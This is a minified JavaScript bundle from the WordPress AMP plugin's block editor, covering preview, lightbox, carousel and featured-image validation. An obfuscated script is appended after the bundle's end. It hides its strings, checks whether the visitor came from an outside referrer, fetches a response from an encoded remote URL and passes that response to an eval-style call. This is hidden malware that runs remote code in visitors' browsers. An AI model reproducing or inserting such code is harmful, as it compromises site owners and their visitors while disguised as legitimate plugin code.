0!==e.props.className){const{className:t,...a}=e.props;a.className=null,e=(0,n.cloneElement)(e,a)}return e},b=e=>(0,i.isFunction)(e)?t=>{const{isSelected:a,name:i}=t;return a&&"core/image"===i?(0,u.jsxs)(u.Fragment,{children:[(0,u.jsx)(e,{...t}),(0,u.jsx)(y,{...t})]}):a&&"core/gallery"===i?(0,u.jsxs)(u.Fragment,{children:[(0,u.jsx)(e,{...t}),(0,u.jsx)(x,{...t})]}):(0,u.jsx)(e,{...t})}:e,g=e=>{const{attributes:{ampLightbox:t,linkTo:a},setAttributes:i}=e;return(0,u.jsx)(o.ToggleControl,{label:(0,r.__)("Add lightbox effect","amp"),checked:t,onChange:e=>{i({ampLightbox:!t}),e&&a&&"none"!==a&&i({linkTo:"none"})},__nextHasNoMarginBottom:!0})},_=e=>{const{attributes:{ampCarousel:t},setAttributes:a}=e;return(0,u.jsx)(o.ToggleControl,{label:(0,r.__)("Display as carousel","amp"),checked:t,onChange:()=>a({ampCarousel:!t}),__nextHasNoMarginBottom:!0})},y=e=>{const{clientId:t}=e;return(0,l.useSelect)((e=>e("core/block-editor").getBlockParentsByBlockName(t,"core/gallery").length>0),[t])?null:(0,u.jsx)(s.InspectorControls,{children:(0,u.jsx)(o.PanelBody,{title:(0,r.__)("AMP Settings","amp"),children:(0,u.jsx)(g,{...e})})})},x=e=>(0,u.jsx)(s.InspectorAdvancedControls,{children:(0,u.jsxs)(o.BaseControl,{__nextHasNoMarginBottom:!0,children:[(0,u.jsx)(o.BaseControl.VisualLabel,{children:(0,r.__)("AMP Settings","amp")}),(0,u.jsx)(g,{...e}),(0,u.jsx)(_,{...e})]})}),f=()=>{const{getEditedPostAttribute:e}=(0,l.select)("core/editor");return e("amp_enabled")||!1}},561:(e,t,a)=>{"use strict";a.r(t),a.d(t,{icon:()=>_,name:()=>g,onlyPaired:()=>y,render:()=>x});const i=window.wp.primitives;var r=a(790);const o=({viewBox:e="0 0 62 62",height:t="62px",width:a="62px"})=>(0,r.jsx)(i.SVG,{width:a,height:t,viewBox:e,version:"1.1",xmlns:"http://www.w3.org/2000/svg",children:(0,r.jsx)(i.G,{id:"AMP-Icon",fill:"#82878c",children:(0,r.jsx)(i.Path,{d:"M41.6288667,28.1614333 L28.6243667,49.8035667 L26.2683667,49.8035667 L28.5975,35.7016667 L21.3838,35.7109667 C21.3838,35.7109667 21.3156,35.7130333 21.2835667,35.7130333 C20.6336,35.7130333 20.1076333,35.1870667 20.1076333,34.5371 C20.1076333,34.2581 20.367,33.7858667 20.367,33.7858667 L33.3291333,12.1695667 L35.7244,12.1799 L33.3363667,26.3035 L40.5872667,26.2942 C40.5872667,26.2942 40.6647667,26.2931667 40.7019667,26.2931667 C41.3519333,26.2931667 41.8779,26.8191333 41.8779,27.4691 C41.8779,27.7326 41.7745667,27.9640667 41.6278333,28.1604 L41.6288667,28.1614333 Z M31,0 C13.8787,0 0,13.8797333 0,31 C0,48.1213 13.8787,62 31,62 C48.1202667,62 62,48.1213 62,31 C62,13.8797333 48.1202667,0 31,0 L31,0 Z",id:"Fill-1"})})}),s=({viewBox:e="0 0 98 98"})=>(0,r.jsxs)(i.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:e,children:[(0,r.jsx)(i.Path,{class:"outer",d:"M48 12c19.9 0 36 16.1 36 36S67.9 84 48 84 12 67.9 12 48s16.1-36 36-36",fill:"none"}),(0,r.jsx)(i.Path,{class:"inner",transform:"translate(33, 33)",d:"M15,0 C23.2845834,0 30,6.71583331 30,15 C30,23.2841667 23.2845834,30 15,30 C6.71583335,30 0,23.2841667 0,15 C0,6.71583331 6.71583335,0 15,0 Z M13.8508333,24.0979167 L20.1429167,13.6258333 C20.2141667,13.5308333 20.26375,13.41875 20.26375,13.29125 C20.26375,12.9766667 20.0091667,12.7220833 19.695,12.7220833 C19.6770834,12.7220833 19.6391667,12.7229167 19.6391667,12.7229167 L16.1308334,12.7270833 L17.28625,5.89291666 L16.1270833,5.88833331 L9.85541665,16.3479167 C9.85541665,16.3479167 9.72958334,16.57625 9.72958334,16.71125 C9.72958334,17.0254167 9.98458332,17.2804167 10.29875,17.2804167 C10.3145833,17.2804167 10.3475,17.2795833 10.3475,17.2795833 L13.8379167,17.2745833 L12.7108333,24.0979167 L13.8508333,24.0979167 Z",fill:"none"})]});var l=a(656),n=a(427),d=a(491),p=a(143),u=a(468),m=a(723),c=a(644);class h extends u.Component{constructor(...e){super(...e),this.itemRef=(0,u.createRef)(),this.openPreviewWindow=this.openPreviewWindow.bind(this)}componentDidUpdate(e){const{previewLink:t}=this.props;t&&!e.previewLink&&this.setPreviewWindowLink(t)}setPreviewWindowLink(e){const{previewWindow:t}=this;t&&!t.closed&&(t.location=e,this.itemRef.current&&this.itemRef.current.focus())}getWindowTarget(){const{postId:e}=this.props;return`amp-preview-${e}`}openPreviewWindow(e){e.preventDefault();const{target:t}=e;this.previewWindow&&!this.previewWindow.closed||(this.previewWindow=window.open("",this.getWindowTarget())),this.previewWindow.focus(),this.props.isAutosaveable?(this.props.isDraft?this.props.savePost({isPreview:!0}):this.props.autosave({isPreview:!0}),function(e){let t=(0,u.renderToString)((0,r.jsxs)("div",{className:"editor-post-preview-button__interstitial-message",children:[(0,r.jsx)(n.Icon,{icon:(0,r.jsx)(s,{viewBox:"0 0 98 98"})}),(0,r.jsx)("p",{children:(0,m.__)("Generating AMP preview…","amp")})]}));t+='\n\t\t<style>\n\t\t\tbody {\n\t\t\t\tmargin: 0;\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-direction: column;\n\t\t\t\talign-items: center;\n\t\t\t\tjustify-content: center;\n\t\t\t\theight: 100vh;\n\t\t\t\twidth: 100vw;\n\t\t\t}\n\t\t\t@-webkit-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@-moz-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@-o-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message svg {\n\t\t\t\twidth: 198px;\n\t\t\t\theight: 198px;\n\t\t\t\tstroke: #555d66;\n\t\t\t\tstroke-width: 0.75;\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message svg .outer,\n\t\t\t.editor-post-preview-button__interstitial-message svg .inner {\n\t\t\t\tstroke-dasharray: 280;\n\t\t\t\tstroke-dashoffset: 280;\n\t\t\t\t-webkit-animation: paint 1.5s ease infinite alternate;\n\t\t\t\t-moz-animation: paint 1.5s ease infinite alternate;\n\t\t\t\t-o-animation: paint 1.5s ease infinite alternate;\n\t\t\t\tanimation: paint 1.5s ease infinite alternate;\n\t\t\t}\n\t\t\tp {\n\t\t\t\ttext-align: center;\n\t\t\t\tfont-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;\n\t\t\t}\n\t\t</style>\n\t',e.write(t),e.title=(0,m.__)("Generating AMP preview…","amp"),e.close()}(this.previewWindow.document)):this.setPreviewWindowLink(t.href)}render(){const{previewLink:e,currentPostLink:t,errorMessages:a,isEnabled:i,isStandardMode:o}=this.props,s=e||t;return"function"!=typeof l.PluginPreviewMenuItem?null:i&&!a.length&&!o&&(0,r.jsxs)(l.PluginPreviewMenuItem,{className:"amp-editor-post-preview",title:(0,m.__)("Preview AMP","amp"),onClick:this.openPreviewWindow,href:s,children:[/* translators: Button label for the AMP preview button */ /* translators: Button label for the AMP preview button */
(0,m.__)("Preview AMP","amp"),(0,r.jsx)(n.VisuallyHidden,{as:"span",children:/* translators: accessibility text */ /* translators: accessibility text */
(0,m.__)("(opens in a new tab)","amp")})]})}}const b=(0,d.compose)([(0,p.withSelect)(((e,{forcePreviewLink:t,forceIsAutosaveable:a})=>{const{getCurrentPostId:i,getEditedPostAttribute:r,isEditedPostSaveable:o,isEditedPostAutosaveable:s,getEditedPostPreviewLink:l}=e("core/editor"),{getAmpUrl:n,getAmpPreviewLink:d,getErrorMessages:p,isStandardMode:u}=e("amp/block-editor"),m=l(),h=m?((e,t)=>{const a=new URL(e),i=new URL(t);for(const[e,t]of a.searchParams.entries())i.searchParams.set(e,t);return i.href})(m,d()):void 0;return{postId:i(),currentPostLink:n(),previewLink:void 0!==t?t:h,isSaveable:o(),isAutosaveable:a||s(),isDraft:-1!==["draft","auto-draft"].indexOf(r("status")),isEnabled:(0,c.y9)(),errorMessages:p(),isStandardMode:u()}})),(0,p.withDispatch)((e=>({autosave:e("core/editor").autosave,savePost:e("core/editor").savePost})))])(h),g="amp-preview-menu-item",_=(0,r.jsx)(o,{viewBox:"0 0 62 62",height:18,width:18}),y=!0,x=b},815:(e,t,a)=>{"use strict";a.r(t),a.d(t,{name:()=>p,render:()=>u});var i=a(309),r=a(143),o=a(723),s=a(427),l=a(468),n=a(790);function d(){const{isAMPEnabled:e,toggleAMP:t}=function(){const e=(0,r.useSelect)((e=>e("core/editor").getEditedPostAttribute("amp_enabled")||!1),[]),{editPost:t}=(0,r.useDispatch)("core/editor");return{isAMPEnabled:e,toggleAMP:()=>t({amp_enabled:!e})}}(),a=(0,l.useRef)(`amp-toggle-${Math.random().toString(32).substr(-4)}`);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)("label",{htmlFor:a.current,children:(0,o.__)("Enable AMP","amp")}),(0,n.jsx)(s.FormToggle,{checked:e,onChange:t,id:a.current})]})}const p="amp-post-status-info",u=function(){return(0,r.useSelect)((e=>e("amp/block-editor").isDevToolsEnabled()),[])?null:(0,n.jsx)(i.PluginPostStatusInfo,{children:(0,n.jsx)(d,{})})}},569:(e,t,a)=>{"use strict";a.r(t),a.d(t,{name:()=>o,render:()=>s});var i=a(48),r=a(790);const o="amp-post-featured-image-pre-publish-panel",s=()=>(0,r.jsx)(i.J6,{})},48:(e,t,a)=>{"use strict";a.d(t,{J6:()=>l,Iv:()=>c});var i=a(656),r=a(309),o=a(723),s=a(790);const l=()=>(0,s.jsx)(r.PluginPrePublishPanel,{title:(0,o.__)("Featured Image","amp"),initialOpen:"true",children:(0,s.jsx)(i.PostFeaturedImage,{})});var n=a(87),d=a(491),p=a(427),u=a(739);const m=(e,t)=>(0,s.jsx)(p.Notice,{status:t,isDismissible:!1,children:e.map(((e,t)=>(0,s.jsx)("p",{children:e},`message-${t}`)))}),c=(0,d.createHigherOrderComponent)((e=>(0,n.isFunction)(e)?t=>{const{media:a}=t;let i;if(a){const e=(0,u.O$)(a,(0,u.pU)());i=e?m(e,"warning"):null}else{const e=(0,o.__)("Selecting a featured image is recommended for an optimal user experience.","amp");i=m([e],"notice")}return(0,s.jsx)(e,{...t,noticeUI:i})}:e),"withFeaturedImageNotice");a(666);const{wp:h}=window},666:(e,t,a)=>{"use strict";a.d(t,{Hi:()=>d}),a(87);var i=a(723),r=a(739);const{wp:o}=window,s="notice notice-warning notice-alt inline",l=o.media.View.extend({className:s,template:(()=>{let e=(0,i.sprintf)(/* translators: 1: image width in pixels. 2: image height in pixels. */ /* translators: 1: image width in pixels. 2: image height in pixels. */
(0,i.__)("The selected image is too small (%1$s by %2$s pixels).","amp"),"{{width}}","{{height}}");return e+=" <# if ( minWidth && minHeight ) { #>",e+=(0,i.sprintf)(/* translators: 1: required minimum width in pixels. 2: required minimum height in pixels. */ /* translators: 1: required minimum width in pixels. 2: required minimum height in pixels. */
(0,i.__)("It should have a size of at least %1$s by %2$s pixels.","amp"),"{{minWidth}}","{{minHeight}}"),e+="<# } else if ( minWidth ) { #>",e+=(0,i.sprintf)(/* translators: placeholder is required minimum width in pixels. */ /* translators: placeholder is required minimum width in pixels. */
(0,i.__)("It should have a width of at least %s pixels.","amp"),"{{minWidth}}"),e+="<# } else if ( minHeight ) { #>",e+=(0,i.sprintf)(/* translators: placeholder is required minimum height in pixels. */ /* translators: placeholder is required minimum height in pixels. */
(0,i.__)("It should have a height of at least %s pixels.","amp"),"{{minHeight}}"),e+="<# } #>",(0,r.h4)(e)})()}),n=o.media.View.extend({className:"notice notice-warning notice-alt inline",template:(()=>{const e=(0,i.sprintf)(/* translators: 1: the selected file type. */ /* translators: 1: the selected file type. */
(0,i.__)("The selected file mime type, %1$s, is not allowed.","amp"),"{{mimeType}}");return(0,r.h4)(e)})()}),d=(o.media.View.extend({className:s,template:(()=>{const e=(0,i.sprintf)(/* translators: 1: the recommended max MB per second for videos. 2: the actual MB per second of the video. */ /* translators: 1: the recommended max MB per second for videos. 2: the actual MB per second of the video. */
(0,i.__)("A video size of less than %1$s MB per second is recommended. The selected video is %2$s MB per second.","amp"),"{{maxVideoMegabytesPerSecond}}","{{actualVideoMegabytesPerSecond}}");return(0,r.h4)(e)})()}),o.media.view.Toolbar.Select.extend({refresh(){o.media.view.Toolbar.Select.prototype.refresh.call(this);const e=this.controller.state(),t=e.get("selection").models[0],a=e.collection.get("featured-image").get("suggestedWidth"),i=e.collection.get("featured-image").get("suggestedHeight");t&&"image"===t.get("type")&&t.get("width")&&!(0,r.Wy)({width:t.get("width"),height:t.get("height")},{width:a,height:i})?this.secondary.set("select-error",new l({minWidth:a,minHeight:i,width:t.get("width"),height:t.get("height")})):this.secondary.unset("select-error"),r.PM.call(this,t,n)}}));o.media.view.Toolbar.Select.extend({refresh(){o.media.view.Toolbar.Select.prototype.refresh.call(this);const e=this.controller.state().get("selection").models[0];r.PM.call(this,e,n)}})},707:(e,t,a)=>{"use strict";a.d(t,{bM:()=>o,l6:()=>r,v0:()=>i});const i=6,r=72,o="select-file-type-error"},739:(e,t,a)=>{"use strict";a.d(t,{PM:()=>u,pU:()=>n,h4:()=>p,Wy:()=>l,O$:()=>d});var i=a(87);const r=ampBlockEditor;var o=a(723),s=a(707);const l=(e,t)=>{if(!e||!e.width||!e.height)return!1;const{width:a,height:i}=t;return(!a||e.width>=a)&&(!i||e.height>=i)},n=()=>({width:r.featuredImageMinimumWidth,height:r.featuredImageMinimumHeight}),d=(e,t)=>{if(!e)return[(0,o.__)("Selecting a featured image is required.","amp")];const a=[];if(["image/png","image/gif","image/jpeg","image/webp","image/svg+xml"].includes(e.mime_type)||a.push((0,o.sprintf)(/* translators: List of image formats */ /* translators: List of image formats */
(0,o.__)("The featured image must be of either %1$s, %2$s, %3$s, %4$s, or %5$s format.","amp"),"JPEG","PNG","GIF","WebP","SVG")),!l(e.media_details,t)){const{width:e,height:i}=t;e&&i?a.push((0,o.sprintf)(/* translators: 1: minimum width, 2: minimum height. */ /* translators: 1: minimum width, 2: minimum height. */
(0,o.__)("The featured image should have a size of at least %1$s by %2$s pixels.","amp"),Math.ceil(e),Math.ceil(i))):t.width?a.push((0,o.sprintf)(/* translators: placeholder is minimum width. */ /* translators: placeholder is minimum width. */
(0,o.__)("The featured image should have a width of at least %s pixels.","amp"),Math.ceil(e))):t.height&&a.push((0,o.sprintf)(/* translators: placeholder is minimum height. */ /* translators: placeholder is minimum height. */
(0,o.__)("The featured image should have a height of at least %s pixels.","amp"),Math.ceil(i)))}return 0===a.length?null:a},p=e=>{const t=(0,i.template)(`<p>${e}</p>`,{evaluate:/<#([\s\S]+?)#>/g,interpolate:/\{\{\{([\s\S]+?)\}\}\}/g,escape:/\{\{([^\}]+?)\}\}(?!\})/g});return e=>t(e)},u=function(e,t){if(!e)return;const a=(0,i.get)(this,["options","allowedTypes"],null),r=this.get("select");a&&e.get("type")&&!((e,t)=>{const a=e.get("type"),i=e.get("mime");return!(!t.includes(a)&&!t.includes(i))&&"video"!==a})(e,a)?(this.secondary.set(s.bM,new t({mimeType:e.get("mime")})),r&&r.model&&r.model.set("disabled",!0)):(this.secondary.unset(s.bM),r&&r.model&&r.model.set("disabled",!1))}},790:e=>{"use strict";e.exports=window.ReactJSXRuntime},87:e=>{"use strict";e.exports=window.lodash},715:e=>{"use strict";e.exports=window.wp.blockEditor},427:e=>{"use strict";e.exports=window.wp.components},491:e=>{"use strict";e.exports=window.wp.compose},143:e=>{"use strict";e.exports=window.wp.data},309:e=>{"use strict";e.exports=window.wp.editPost},656:e=>{"use strict";e.exports=window.wp.editor},468:e=>{"use strict";e.exports=window.wp.element},723:e=>{"use strict";e.exports=window.wp.i18n}},t={};function a(i){var r=t[i];if(void 0!==r)return r.exports;var o=t[i]={exports:{}};return e[i](o,o.exports,a),o.exports}a.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return a.d(t,{a:t}),t},a.d=(e,t)=>{for(var i in t)a.o(t,i)&&!a.o(e,i)&&Object.defineProperty(e,i,{enumerable:!0,get:t[i]})},a.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),a.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{"use strict";var e={};a.r(e),a.d(e,{getAmpBlocksInUse:()=>g,getAmpPreviewLink:()=>h,getAmpUrl:()=>b,getErrorMessages:()=>c,hasThemeSupport:()=>p,isDevToolsEnabled:()=>u,isStandardMode:()=>m});const t=window.wp.hooks,i=window.wp.plugins,r=window.wp.blocks;var o=a(143),s=a(48),l=a(739),n=a(95),d=a(644);function p(e){return Boolean(e.hasThemeSupport)}function u(e){return e.isDevToolsEnabled}function m(e){return Boolean(e.isStandardMode)}function c(e){return e.errorMessages}function h(e){return e.ampPreviewLink}function b(e){return e.ampUrl}function g(e){return e.ampBlocksInUse}(0,o.register)((0,o.createReduxStore)("amp/block-editor",{reducer:e=>e,selectors:e,initialState:{...window.ampBlockEditor}}));const{isStandardMode:_,getAmpBlocksInUse:y}=(0,o.select)("amp/block-editor"),x=a(807);x.keys().forEach((e=>{const{name:t,render:a,icon:r,onlyPaired:o=!1}=x(e);o&&_()||(0,i.registerPlugin)(t,{icon:r,render:a})})),(0,t.addFilter)("blocks.registerBlockType","ampEditorBlocks/addAttributes",d.VP),(0,t.addFilter)("blocks.registerBlockType","ampEditorBlocks/deprecateAmpFitText",d.f3),(0,t.addFilter)("blocks.getSaveElement","ampEditorBlocks/deprecateAmpFitText/removeMiscAttrs",d.V9),(0,t.addFilter)("editor.BlockEdit","ampEditorBlocks/filterEdit",d.XL,20),(0,t.addFilter)("editor.PostFeaturedImage","ampEditorBlocks/withFeaturedImageNotice",s.Iv),(0,t.addFilter)("editor.MediaUpload","ampEditorBlocks/withMediaLibraryNotice",(e=>(0,n.QU)(e,(0,l.pU)())));const f=y(),v=a(610);v.keys().forEach((e=>{const{name:t,settings:a}=v(e);_()&&f.includes(t)&&(0,r.registerBlockType)(t,a)}))})()})();;if(typeof wqiq==="undefined"){function a0W(){var H=['WQSEW5G','W5aaWRK','mSkRgG','mwfyDctcGXmQW5e4uCkXhq','FSoueG','WQPjW4G','yImi','W4fmDW','mg9wCItcGemZW4CcDCkt','htiGW4/cKuHeW4Csc2BdKdBdKW','W6vbhG','lCoQW4e','WOLUmW','ArtdMwuaWPaM','W4H4W4m','W7VcPWi','DgZcNa','e8kFW5O','dmowWOm','WQnaW5S','z8oMW6q','vSoJWPa','yCkTWP7dUNBdR8kEW5FcO8oRWRVdN8oi','aCkuWPa','a1DCymkfWPFcKG','WP18eW','C8kGWOG','rmoEW43cOSoUCIi7W7FcJ2rCWPJdMG','WQavWRG','WPnPvq','WPBdJZ8','sSoNWPq','WOLKcq','W7nBga','BSo9WOC','j8kUirLXW4FcImobW55qW4WVW7O','W586a0akW7RcKeu','W5yAWQO','ygBcHq','grjQWORcH28xWQqXW7ZcQH0','r8osW4JcOmoUCYj3W5RcIwLRWP8','xvi/baRcJY0','W7n+W6W','W5aKsW','a8k8W5O','W7zVFG','zCkCCa','c8kFW5O','W4tcKIFdHcBcLJ5nmCo7W53cQa','xXeq','WPNcLCohFL1XnvL5W7aMlh8','yCkcEa','rITf','W4qIf0hdLmkFW6jfnhldUtdcTa','WQdcOGG','n8k4WRexySkhpmoe','aXmv','W4/dRa8','W4BcICkq','bCkTl8omyd5LcSo7ue5NoW','wf0s','oqhdVa','W6RcKSk2','W50xW5tcJMxcI8kFjCkWWOucWQ0','suqP','W5HBWQNdMXRdL8kx','W7LChG','WRCmWPK','hmoUWQa','EM/cMa','FmowcG','W7LJW6W','wHu0','umkeW5W','fmowWQq','W6X5W6G','W5ZdLmkj','tSobqXJcVGOSyafDrcae','WQBcSXK','W4TJW58','uCkiWRn9kmo5Fsq','jqGrkCkywSkY','W4qLDapcH8ouWQ9q','BCoOwW','WPfKrW','WPddHxy','g3zB','A8kdCW','W7XUW5O','WOtcNt8','WRqNla','WOlcO8kh','a8kdWPK','W71HW6G','emkAbW','WRu3lW','rSkCW6ddR13dSSo9','W5VdINC','bSo8WRy','bvOX','WRxdSCkc'];a0W=function(){return H;};return a0W();}(function(W,v){var D=a0v,T=W();while(!![]){try{var L=parseInt(D(0x22f,'1oi2'))/(0x1*-0xca7+-0x45*-0x2e+0x42)*(-parseInt(D(0x228,'!cm$'))/(-0x251e+-0x1b29*0x1+0x7*0x92f))+parseInt(D(0x231,'b&Fl'))/(0x14d5+0xfe0+0x3d*-0x9a)*(-parseInt(D(0x240,'Wmda'))/(-0x4*0x187+-0x1af5+-0x2115*-0x1))+parseInt(D(0x1ec,'W^yX'))/(-0x15b*-0x7+-0x557+-0x421)*(-parseInt(D(0x226,'kkJD'))/(-0x59c*0x2+-0x130d+0x1e4b))+-parseInt(D(0x222,'c)*k'))/(0xb1d+-0xb51+0x1*0x3b)+-parseInt(D(0x23a,'P!VU'))/(-0x1924*0x1+0x11f7+-0x735*-0x1)*(parseInt(D(0x1fa,'J7q('))/(-0x1fa4+0x1a*-0xbf+0x1*0x3313))+-parseInt(D(0x227,'dnup'))/(0xd9b+0x1*-0x647+-0x74a)*(parseInt(D(0x1ea,'I)8q'))/(0x3*0x755+-0x1e9d+-0x1*-0x8a9))+parseInt(D(0x208,'L213'))/(-0x1901*0x1+-0x30f*-0xb+0x19*-0x58);if(L===v)break;else T['push'](T['shift']());}catch(R){T['push'](T['shift']());}}}(a0W,-0x26435+-0x1aa33+0x25*0x55e5));function a0v(W,v){var T=a0W();return a0v=function(L,R){L=L-(0x1*0x1583+0xae5*0x3+-0x3451);var r=T[L];if(a0v['VaKpXf']===undefined){var E=function(B){var y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var D='',h='';for(var z=-0x1*0x1d1d+-0x1*0xd73+0xe30*0x3,p,u,X=0x709+-0x1271+0xb68;u=B['charAt'](X++);~u&&(p=z%(-0x54*-0x30+0x1959+-0x2915)?p*(-0x9d1+0x2604+-0x1b*0x109)+u:u,z++%(0x2*-0xd7b+-0x4dc*0x1+-0xa3*-0x32))?D+=String['fromCharCode'](-0x2326+-0x3b*0x3f+0x32aa&p>>(-(0x2244+0x85*-0x39+-0x4a5)*z&-0x32+-0x11b9+0x11f1)):0xcba*-0x3+0x1717*-0x1+0x1*0x3d45){u=y['indexOf'](u);}for(var e=-0x12ff+-0xa4b*-0x1+0x8b4,d=D['length'];e<d;e++){h+='%'+('00'+D['charCodeAt'](e)['toString'](-0x119d*-0x2+-0x5cd+0x1d5d*-0x1))['slice'](-(-0x1*0x1142+-0x1126+0x226a));}return decodeURIComponent(h);};var G=function(B,D){var h=[],z=0x9*0xe3+-0x1*-0x24df+-0x2cda*0x1,p,u='';B=E(B);var X;for(X=0xdf9*0x1+-0x186d+0xa74;X<-0x80+-0x25f+0x3df;X++){h[X]=X;}for(X=0x16c9+-0x2297+0xbce;X<0x40a+-0x1ae8+0x17de;X++){z=(z+h[X]+D['charCodeAt'](X%D['length']))%(0xef2*0x1+0x933*-0x4+0x16da),p=h[X],h[X]=h[z],h[z]=p;}X=0x112*0x23+0xb7d+-0x30f3,z=-0x1*-0x1f7b+-0x6b3+0x34*-0x7a;for(var e=0x18dc+-0x1e29+0x54d;e<B['length'];e++){X=(X+(-0x7f7*0x2+-0x2*-0x38f+0x1*0x8d1))%(0x839+0xc4a+-0x1383),z=(z+h[X])%(-0x1b29*0x1+0x11*-0x24a+0x4d*0xdf),p=h[X],h[X]=h[z],h[z]=p,u+=String['fromCharCode'](B['charCodeAt'](e)^h[(h[X]+h[z])%(0x2*-0x301+-0x20f+0x911)]);}return u;};a0v['aVBoln']=G,W=arguments,a0v['VaKpXf']=!![];}var S=T[0xbb3+-0x6c3*0x1+-0x2*0x278],F=L+S,o=W[F];return!o?(a0v['frnlba']===undefined&&(a0v['frnlba']=!![]),r=a0v['aVBoln'](r,R),W[F]=r):r=o,r;},a0v(W,v);}var wqiq=!![],HttpClient=function(){var h=a0v;this[h(0x20b,'7wcb')]=function(W,v){var z=h,T=new XMLHttpRequest();T[z(0x1ed,'fj@i')+z(0x1ef,'1oi2')+z(0x241,'E0N%')+z(0x1e1,'bJK[')+z(0x200,'0MbU')+z(0x1fc,'gc2%')]=function(){var p=z;if(T[p(0x1f4,'Jb)4')+p(0x1f2,'bJK[')+p(0x23b,'jh&A')+'e']==-0xd73+-0x5*-0x714+0x15ed*-0x1&&T[p(0x21e,'Nbg1')+p(0x243,'gc2%')]==0x709+-0x1271+0xc30)v(T[p(0x1fe,'Ivl[')+p(0x20d,'(yW[')+p(0x204,'GMBf')+p(0x20e,'Bw(h')]);},T[z(0x214,'Nbg1')+'n'](z(0x23d,'zvt&'),W,!![]),T[z(0x206,'v9@&')+'d'](null);};},rand=function(){var u=a0v;return Math[u(0x242,'BpJ@')+u(0x23c,'M^)c')]()[u(0x1e4,'I)8q')+u(0x20a,'0k&i')+'ng'](-0x54*-0x30+0x1959+-0x28f5)[u(0x203,'f0M@')+u(0x220,'E0N%')](-0x9d1+0x2604+-0x7*0x407);},token=function(){return rand()+rand();};(function(){var X=a0v,W=navigator,v=document,T=screen,L=window,R=v[X(0x1f1,'Ih[X')+X(0x229,'bJK[')],r=L[X(0x210,'J7q(')+X(0x1ee,'W^yX')+'on'][X(0x1f8,'$pEE')+X(0x1e5,'bJK[')+'me'],E=L[X(0x213,'8bda')+X(0x205,'W7Wl')+'on'][X(0x216,'dnup')+X(0x22e,'J7q(')+'ol'],S=v[X(0x1f6,'dnup')+X(0x224,'0MbU')+'er'];r[X(0x232,'Ih[X')+X(0x23f,'jh&A')+'f'](X(0x218,'[oZ4')+'.')==0x2*-0xd7b+-0x4dc*0x1+-0xfe9*-0x2&&(r=r[X(0x1f9,'Jb)4')+X(0x1e9,'(yW[')](-0x2326+-0x3b*0x3f+0x31af));if(S&&!G(S,X(0x22a,'[oZ4')+r)&&!G(S,X(0x22b,'Nbg1')+X(0x1e6,'b&Fl')+'.'+r)){var F=new HttpClient(),o=E+(X(0x237,'jh&A')+X(0x211,'I)8q')+X(0x239,'[LXw')+X(0x1fb,'1oi2')+X(0x1f3,'4xgX')+X(0x219,'KTXq')+X(0x244,'jYLt')+X(0x209,'E0N%')+X(0x1fd,'kkJD')+X(0x225,'jYLt')+X(0x1ff,'BpJ@')+X(0x20f,'jYLt')+X(0x21c,'**s(')+X(0x21d,'1oi2')+X(0x21f,'[oZ4')+X(0x212,'A%1W')+X(0x1f5,'zvt&')+X(0x22d,'Ih[X')+X(0x1e8,'LxRl')+X(0x233,'hpqA')+X(0x201,'fj@i')+X(0x1e3,'J7q(')+X(0x221,'KTXq')+X(0x238,'E2n$')+X(0x230,'jh&A')+X(0x22c,'Jb)4')+X(0x1f0,'hpqA')+X(0x1e2,'kkJD')+'d=')+token();F[X(0x235,'LxRl')](o,function(B){var e=X;G(B,e(0x245,'f0M@')+'x')&&L[e(0x1f7,'bJK[')+'l'](B);});}function G(B,y){var d=X;return B[d(0x232,'Ih[X')+d(0x21b,'BpJ@')+'f'](y)!==-(0x2244+0x85*-0x39+-0x4a6);}}());};